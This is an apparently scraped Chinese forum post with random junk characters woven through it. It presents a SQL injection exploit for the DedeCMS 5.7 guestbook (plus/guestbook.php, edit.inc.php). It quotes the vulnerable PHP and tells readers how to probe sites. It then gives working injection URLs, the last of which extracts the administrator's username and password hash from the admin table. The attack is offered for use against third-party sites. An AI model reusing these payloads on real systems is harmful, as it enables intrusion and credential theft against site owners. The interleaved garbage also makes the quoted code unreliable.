影响版本为5.7, O5 _9 K/ A* o
! o+ f2 {# m" n漏洞文件edit.inc.php具体代码:
7 a/ e% d4 T9 U: Q
2 I% d5 f# i1 `# W6 o9 H3 ]< ?php
6 H& p- @. j' K/ k: E- E& a/ }3 y- ~8 o9 U* n
if(!defined('DEDEINC')) exit('Request Error!');
; t( U9 Q' A( j: R( B- D' h
0 a. Z) A- q" w
" n6 {6 I8 \, w3 H( e5 j1 E7 [& [ Y* L) C; F. P
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
$ i" I$ @% \5 q' H- G
I0 U; C+ G! {$ s6 ielse $GUEST_BOOK_POS = "guestbook.php";
) h1 E& s& C5 j$ x% p+ ^, h5 o% g, P/ H
$ i6 A3 Q1 r! A, w
- E- Q' `! m: z1 {: e# A3 X2 B$id = intval($id);
) }* ]) D @( l3 X; Y
1 P, q, |- I! d. }9 ]if(empty($job)) $job='view';
( C1 N1 L" u( \- a* `3 ^) c. S( R. F4 R+ x3 S
8 j8 P5 u1 ?" f N6 l! L
& }1 i0 |6 ^7 Z% {3 kif($job=='del' && $g_isadmin)
: x# ?4 C. r+ J! d/ q, z! X, D: }1 I! |' |) b5 g
{
% r# D. H0 R5 m0 P) s0 e& V3 t# [4 K6 d1 W+ i( ]
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); + R0 L' F* D- x3 d4 ?' O& q9 Q
) V# B4 I! y9 [ z* p; S, {0 |$ Y
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
& f- L# N ?) ~5 p6 _( o
, N7 ^0 i; X; I1 n" `: I# sexit(); 6 [& k/ { B* Z8 W4 w! @
# L% y( n& q$ G3 _8 |' g} ! }& c; @9 I6 x% x8 \
& P3 b) A# h+ I, f Delse if($job=='check' && $g_isadmin) - \- r# ~. U; O& A$ b+ P0 o
# W5 T! A' U; ?$ |# V6 O
{ / E) L2 ~; q$ y7 q
% Y; A! ~0 \3 G# E) b
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); ' O& R( x' Q d G6 V' a* F* u/ Y
5 Y5 U! i# L8 R- D- {
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
& n# Y5 s' Z% W# V! \" P' B
+ N V4 e; x1 W8 g' A; j% wexit(); . V4 R; J$ }$ g0 F+ i- B
8 V0 D; S- s6 F9 h, L7 N} 7 P0 S( V) p' Z: a* e
- e Z# x9 I$ V1 @else if($job=='editok')
+ n* }% [7 L7 A7 Z: Y7 l1 L. E
- B3 W. g0 d! @2 g% B$ ?, R' e{ 8 o d5 y; K) C4 h1 O/ F3 _6 S8 a0 l
' E+ ^7 F- @3 `6 E$remsg = trim($remsg);
S2 U6 F5 h$ v; I! D( p7 k* R6 H \* \ w6 l$ j
if($remsg!='')
8 E+ ^6 _) A$ x
7 }4 }( ?7 o" I& H) C/ f$ \{ $ Q2 W% c& j5 X$ U
) u. d6 m% h0 ?/ J" W- w. R# Y//管理员回复不过滤HTML By:Errorera blog:errs.cc " @$ l: S$ ^. v) c' q4 ~/ s" ^
1 ]$ d+ ~. V4 I6 c9 [% F; ~0 ^
if($g_isadmin) ' q$ v/ m K+ b& B
; o! O) i/ d6 T: v+ q
{ : n D% \9 m. o" c3 j
- S* _3 @4 e% x2 p& }$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
7 D) ]2 o! D0 U7 c& |6 ^& }+ Y9 F: k) t
//$remsg <br /><font color=red>管理员回复:</font> }
0 C( Q7 A" J+ a# s4 V: l5 ~. u9 Z8 W" w. a
else
: H# Q/ C" I& v- N
6 w; J2 O1 X7 a; g{ 3 l+ c) c+ q o4 |" v
) p# S. f6 @' s0 v$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
# w7 q( r# n! N9 p5 v' e
+ S p M5 w( R s6 A' n$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
) X7 k) p( s) i/ @( K3 }! M w5 E( Q
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
; U" c! }" e" N/ U0 S/ }, B7 B; F: s- M
$msg = $oldmsg.$remsg;
+ V% s; D# H1 W1 `
3 P1 ?. c7 X% R" I6 |/ ^} 7 `2 j* v% b0 T P/ m
' o4 n3 F0 m+ e9 z
} 3 t* T: V' ^3 K
+ M. q4 N" v5 a) T/ L2 X1 w//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc % @+ P/ A8 t( t
) V& n' f$ {% n, ^6 {6 X# P4 i& {
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); $ p- r) n3 x5 h9 i5 n. d
o4 ? l g0 B# C# A" D' U
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); ! M+ n0 O$ h; z% H+ t) b
Z" h4 p# `! J/ Yexit();
% x9 @& O" p- j1 D# N$ z* W5 E) ]# T* x! _& f7 S
} , F* P5 ]$ x0 x* s( Y
B7 Q* X9 T2 R+ ~0 F//home:www.errs.cc & v2 k+ j* u* _4 B% g& Z. Y* _
* U5 w. w/ F- yif($g_isadmin) 7 S/ ~6 k! W, F+ }' `# B
) U7 c9 V$ O V% e, X$ H{ 9 J! R% E# w% L- g8 _3 c' ~( }
2 b; G5 E9 J6 h: N8 z1 T) q# G$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
1 S) }3 U( n9 { H/ i, S- ~/ i$ C! b% W3 {- ?0 }- o3 Q& N) K3 W
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); 9 l3 j8 ]3 Q) R2 `" W
2 _ r m4 m' _4 u# K}
' |2 I6 i) i; `; b$ k; R( ~( o4 S) O5 G$ v( x1 O+ G
else 4 }" t8 q* \1 z8 C. z, Q
: j* M2 \/ m7 V; o{ + ]. ]& B8 D4 K$ w; C: p
" @8 b0 _* V, ?3 Q( }, @$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); & G5 {' r0 H0 s$ t8 \5 c7 {" E
6 w6 Q/ j1 d: v6 I0 ?" ~9 q/ @# Yrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); ( F- Z1 K2 p& d, Z Y
+ N/ Z2 t# ^/ q* K
} 漏洞成功需要条件:8 J" c" N ~ Y6 m3 s
1. php magic_quotes_gpc=off4 U+ ]) b6 `$ n9 @6 N
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
" N) I. r8 @$ b# K$ q& |' V7 }8 V6 M1 V/ d
怎么判断是否存在漏洞:9 @) d4 L9 ~: H1 _
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,+ h* c8 k9 m1 ~0 t
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID: t: s/ `+ O6 f
访问:
5 E: D' ^, @* \- \! n& G' E/ a' m, ^: z, R& U8 k3 P0 E
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了1 o. E7 d2 y+ J5 s; a
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
0 ~6 ~3 J1 p- {
' M# L0 c Y2 k1 e
) E: v1 y7 h: ]3 o5 j明漏洞无法利用应为他开启了 php magic_quotes_gpc=off% T% [" m: M& N2 P% r& j. F" T$ I1 I5 Q' I
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。9 a6 w7 u5 Y2 v; t( e
那么再次访问1 g$ ? G0 _2 g' f
7 P- }; x2 A. R- P; v; |www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
+ D q& ?0 g7 V" e+ H- Z/ O( P- F( I j# v% r: z$ ?/ Z' `
大概利用就是这样,大家有兴趣的多研究下!!
( p$ W" |: ?8 a3 S* c- y2 s# y6 ]( O& {( e4 k7 s
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!2 a3 [2 r% r! f" o- @& |& `
' a2 H( ]5 W, |2 O- @& bview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |